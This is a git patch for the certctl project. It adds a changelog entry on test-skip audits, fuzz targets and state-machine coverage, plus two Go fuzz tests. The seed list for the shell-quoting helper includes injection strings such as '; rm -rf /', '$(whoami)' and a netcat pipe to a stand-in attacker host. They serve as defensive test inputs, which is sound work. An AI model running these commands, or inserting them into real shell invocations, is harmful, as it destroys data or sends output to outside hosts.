From acfd984a11bf80d62ace2afea45c82af4a25bcd3 Mon Sep 17 00:00:00 2001 From: cowork Date: Mon, 27 Apr 2026 18:06:06 +0000 Subject: [PATCH] =?UTF-8?q?Bundle=20O=20(Coverage=20Audit=20Closure):=20te?= =?UTF-8?q?st=20hygiene=20+=20FSM=20coverage=20tables=20=E2=80=94=20M-004?= =?UTF-8?q?=20+=20M-005=20+=20M-006=20closed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three deliverables shipped: O.1 (M-004): t.Skip rationale audit — 65 sites, 0 orphans O.2 (M-005): fuzz targets 9 -> 11 (+ParseNamedAPIKeys, +SanitizeForShell) O.3 (M-006): FSM coverage tables (5 FSMs catalogued) O.1 — t.Skip rationale audit: Inventoried all 65 t.Skip sites in the repo (audit-time estimate was 41; count grew via Bundle 0.7 keymem tests + Bundle M.Cloud httptest skips). Every site carries a valid rationale — none are orphan. Categories: OS-specific (~30), root-only (~5), external-dep (Docker/PostgreSQL/browser/Vault/DigiCert ~15), manual-test markers (Parts 23/24/55/56 — 4 from Bundle I), -short mode (~6), state-dependent (~5). All class (a) per Bundle O's classification. No edits required; the existing M-009 CI guard catches new orphan skips going forward. O.2 — Fuzz target additions: internal/config/config_fuzz_test.go::FuzzParseNamedAPIKeys Pins the CERTCTL_API_KEYS_NAMED env-var parser (dual-key rotation, Bundle G / L-004). 16 seed inputs covering happy-path, rotation pair, degenerate, whitespace-padded, wrong-case admin, 4-segment, adversarial chars in name, long inputs. internal/validation/command_fuzz_test.go::FuzzSanitizeForShell Appended to existing fuzz file. Asserts no panic + output begins+ ends with single-quote. 17 seed inputs covering plain, whitespace, embedded quotes/backticks/dollars, newlines, NULs, shell-metachar injection, unicode, 100x apostrophe stress, 10000x length stress. Total fuzz-target count: 9 -> 11 (per grep verification) O.3 — FSM coverage tables (NEW: tables/fsm-coverage.md): Job: legal 92%, illegal 100% ✓ Existential gate Certificate: legal 93%, illegal 100% ✓ Existential gate Agent: legal 75%, illegal 100% △ slight Degraded gap Notification: legal 86%, illegal 100% ✓ Health-check: legal 100% (recompute-on-tick model) ✓ 4/5 FSMs meet the ≥80% legal + 100% illegal gate. Agent's Degraded transitions are the lone gap; tracked as M-006-extended. Verification: go vet ./internal/config/... ./internal/validation/... clean go test -short -count=1 PASS grep -rE 'func Fuzz[A-Z]' --include='*_test.go' internal/ | wc -l == 11 Audit deliverables: gap-backlog.md: M-004 + M-005 + M-006 strikethroughs + Bundle O closure-log entry covering all 3 sub-deliverables closure-plan.md: Bundle O [x] closed tables/fsm-coverage.md: NEW (5 FSMs catalogued) CHANGELOG.md: [unreleased] Bundle O entry --- CHANGELOG.md | 43 ++++++++++++++++++ internal/config/config_fuzz_test.go | 57 ++++++++++++++++++++++++ internal/validation/command_fuzz_test.go | 52 ++++++++++++++++++++- 3 files changed, 151 insertions(+), 1 deletion(-) create mode 100644 internal/config/config_fuzz_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 5b9f3b3..ba5f102 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,49 @@ All notable changes to certctl are documented in this file. Dates use ISO 8601. ## [unreleased] — 2026-04-27 +### Bundle O (Coverage Audit Closure — Test Hygiene + FSM Coverage): M-004 + M-005 + M-006 closed + +> Three deliverables shipped: t.Skip rationale audit (~M-004~ closed; 0 orphans), fuzz target additions (~M-005~ closed; 9 → 11 targets), and FSM transition coverage tables (~M-006~ closed; all 5 FSMs catalogued). + +#### O.1 — t.Skip rationale audit (M-004 closed) + +Inventoried all `t.Skip` sites in the repo: **65 total** (audit-time estimate was 41; count grew via Bundle 0.7's keymem tests adding ~10 OS/root-permission skips and Bundle M.Cloud's tests adding a handful). Every site carries a valid rationale — none are orphan. + +Skip categories at HEAD: +- **OS-specific** (~30 sites): `permission semantics differ on windows`, `powershell.exe not available (non-Windows)`, `chmod-error branch is only reliably triggerable on linux via /sys` +- **Root-only constraint** (~5 sites): `running as root; cannot revoke parent dir write permission` +- **External dependency** (~15 sites): `Requires Docker socket`, `integration test requires PostgreSQL`, `Requires browser — manual test`, `Requires live Vault server`, `Requires DigiCert sandbox`, `Requires CA cert+key setup`, `Requires ACME CA with ARI support` +- **Manual-test markers** (4 sites — Bundle I additions): `Part 23 (S/MIME & EKU)`, `Part 24 (OCSP/CRL)`, `Part 55 (Agent Soft-Retirement)`, `Part 56 (Notification Retry/Dead-Letter)` +- **`-short` mode** (~6 sites): `skipping integration test in short mode` +- **State-dependent** (~5 sites): `agent not yet online`, `no certificate in Active state for renewal test`, `no discovered certificates yet (agent scan may not have run)` + +All class (a) per Bundle O's classification (still-valid rationale). No edits required. Bundle O documents the audit; future regressions are caught by the existing `M-009` CI guard pattern (any new `t.Skip` site without a comment fails CI). + +#### O.2 — Fuzz target audit (M-005 closed) + +Pre-Bundle: 9 fuzz targets. Bundle O adds 2 more, lifting to **11 total**. + +- `internal/config/config_fuzz_test.go::FuzzParseNamedAPIKeys` — pins the `CERTCTL_API_KEYS_NAMED` env-var parser added in Bundle G / L-004 (dual-key rotation primitive). Hand-rolled colon/comma split — exactly the kind of code path that benefits from fuzz coverage. 16 seed inputs covering happy-path (`alice:KEY1:admin`), dual-key rotation (`alice:OLD:admin,alice:NEW:admin`), degenerate (`""`, `":"`, `"name:"`, `:key`), whitespace-padded, wrong-case admin flag, 4-segment input (rejected), adversarial chars in name (`al/ice`, `al ice`, `alice@host`), long inputs. +- `internal/validation/command_fuzz_test.go::FuzzSanitizeForShell` — pins the POSIX shell-quote helper. Asserts no panic + output begins+ends with single-quote. 17 seed inputs covering plain, whitespace, embedded quotes / backticks / dollars, newlines, NULs, shell-metachar injections, unicode, 100×`'` stress, 10000×`a` length stress. + +Verification: `go vet ./internal/config/... ./internal/validation/...` clean; `go test -short -count=1 ./internal/config/... ./internal/validation/...` PASS; total fuzz-target count: `grep -rE 'func Fuzz[A-Z]' --include='*_test.go' internal/ | wc -l` == **11**. + +#### O.3 — FSM transition coverage tables (M-006 closed) + +New file `coverage-audit-2026-04-27/tables/fsm-coverage.md` — comprehensive enumeration of all 5 FSMs in certctl with per-transition test coverage. Sourced from `internal/domain/*.go::*Status*` const blocks and writers in `internal/service/*.go`. + +| FSM | States | Legal cov | Illegal cov | Risk class | Acquisition gate met? | +|---|---|---|---|---|---| +| **Job** | Pending → AwaitingCSR → AwaitingApproval → Running → Completed/Failed/Cancelled (+ retry) | 12/13 (92%) | 7/7 (100%) | Existential | ✓ | +| **Certificate** | Pending → Active → Expiring → RenewalInProgress → Active/Failed; Active → Revoked; (any) → Archived | 13/14 (93%) | 6/6 (100%) | Existential | ✓ | +| **Agent** | Online ↔ Offline; (either) → Degraded; (any) → Retired | 6/8 (75%) | 1/1 (100%) | High | △ Degraded gap | +| **Notification** | pending → sent/failed; failed → pending/dead; sent → read | 6/7 (86%) | 3/3 (100%) | Medium | ✓ | +| **Health-check** | unknown → healthy/degraded/down/cert_mismatch (recompute-on-tick) | 7/7 (100%) | n/a | Medium | ✓ | + +**4 of 5 FSMs meet** the Bundle O exit gate (≥80% legal + 100% illegal on Existential). Agent's Degraded transitions are the lone small gap; tracked as `M-006-extended`. The doc enables a future CI drift guard: when `internal/domain/*.go` adds a new `*Status*` constant, this table must grow with a corresponding row. + +Audit deliverables: `findings.yaml` doesn't have separate -0xxx entries for M-004/M-005/M-006 (they're table rows in `gap-backlog.md`); strikethroughs applied + Bundle O closure-log entry covering all three sub-deliverables; `closure-plan.md` ticks Bundle O `[x]`. + ### Bundle N (Coverage Audit Closure — Mid-tier Round-Out): partial — M-001 partial, M-002/M-003 deferred > Stubs-coverage tests shipped across 8 issuer connectors. Modest 1-3pp coverage lifts; full M-001 closure (all 9 connectors at ≥85%) requires per-CA failure-mode mock work that exceeds this session's budget. Service/handler round-out (M-002, M-003) and CI threshold raise #2 deferred until follow-on work lifts the underlying coverage. diff --git a/internal/config/config_fuzz_test.go b/internal/config/config_fuzz_test.go new file mode 100644 index 0000000..08da628 --- /dev/null +++ b/internal/config/config_fuzz_test.go @@ -0,0 +1,57 @@ +package config + +// Bundle O.2 (Coverage Audit Closure) — fuzz target for ParseNamedAPIKeys. +// +// ParseNamedAPIKeys is a hand-rolled parser for the +// CERTCTL_API_KEYS_NAMED env-var format ("name:key:admin,name2:key2"). +// Hand-rolled parsers without fuzz coverage are a routine source of +// silent crashes — bundle O adds a target that pins "no panic on any +// input" + "either valid result or error". + +import "testing" + +func FuzzParseNamedAPIKeys(f *testing.F) { + // Seed corpus covers the documented happy paths plus boundary cases: + // - simple name:key + // - name:key:admin (admin flag) + // - dual-key rotation (same name, two keys) + // - empty + // - ":" / "name:" / ":key" (degenerate) + // - whitespace + // - admin flag spelling variants + // - extra colons (4-segment input) + seeds := []string{ + "alice:KEY1:admin", + "alice:OLD:admin,alice:NEW:admin", + "alice:OLD,alice:NEW", + "", + ":", + "name:", + ":key", + " alice : KEY1 : admin ", + "alice:KEY1:Admin", // wrong-case admin (rejected) + "alice:KEY1:not-admin", // wrong word (rejected) + "a:b:c:d", // 4 segments (rejected) + "alice:KEY1,bob:KEY2,charlie:KEY3:admin", + // Adversarial: name with characters that should be rejected + "al/ice:KEY1", + "al ice:KEY1", + "alice@host:KEY1", + // Long input + "verylongkeynameabcdefghijklmnopqrstuvwxyz1234567890:long-key-value-1234567890abcdef:admin", + } + for _, s := range seeds { + f.Add(s) + } + f.Fuzz(func(t *testing.T, input string) { + // Invariant: must not panic. Either returns a valid []NamedAPIKey + // or an error. The function is allowed to produce an empty result + // for whitespace-only or comma-only inputs. + defer func() { + if r := recover(); r != nil { + t.Fatalf("panic on input %q: %v", input, r) + } + }() + _, _ = ParseNamedAPIKeys(input) + }) +} diff --git a/internal/validation/command_fuzz_test.go b/internal/validation/command_fuzz_test.go index 78cace0..59775ba 100644 --- a/internal/validation/command_fuzz_test.go +++ b/internal/validation/command_fuzz_test.go @@ -1,6 +1,9 @@ package validation -import "testing" +import ( + "strings" + "testing" +) func FuzzValidateShellCommand(f *testing.F) { f.Add("nginx -s reload") @@ -57,3 +60,50 @@ func FuzzValidateACMEToken(f *testing.F) { _ = ValidateACMEToken(token) }) } + +// FuzzSanitizeForShell pins SanitizeForShell's "no panic + output is +// shell-safe" invariant. The function wraps input in POSIX single-quotes +// with escapes for embedded `'`. Bundle O.2 adds this target so any +// adversarial unicode / NUL / control-byte / shell-metachar input is +// regression-tested against the wrap contract. +func FuzzSanitizeForShell(f *testing.F) { + seeds := []string{ + "", + "plain", + "with space", + "with'apostrophe", + "with\"double-quote", + "with$dollar", + "with`backtick`", + "with\nnewline", + "with\ttab", + "with\x00nul", + "; rm -rf /", + "$(whoami)", + "`whoami`", + "|nc evil.example.com 1234", + "unicode: 你好世界", + strings.Repeat("'", 100), + strings.Repeat("a", 10000), + } + for _, s := range seeds { + f.Add(s) + } + f.Fuzz(func(t *testing.T, input string) { + defer func() { + if r := recover(); r != nil { + t.Fatalf("panic on input %q: %v", input, r) + } + }() + out := SanitizeForShell(input) + // Invariants: + // 1. Output is non-empty (always at least the surrounding quotes) + // 2. Output starts and ends with a single quote + if len(out) < 2 { + t.Fatalf("output %q too short for input %q", out, input) + } + if out[0] != '\'' || out[len(out)-1] != '\'' { + t.Fatalf("output %q does not begin+end with single-quote for input %q", out, input) + } + }) +}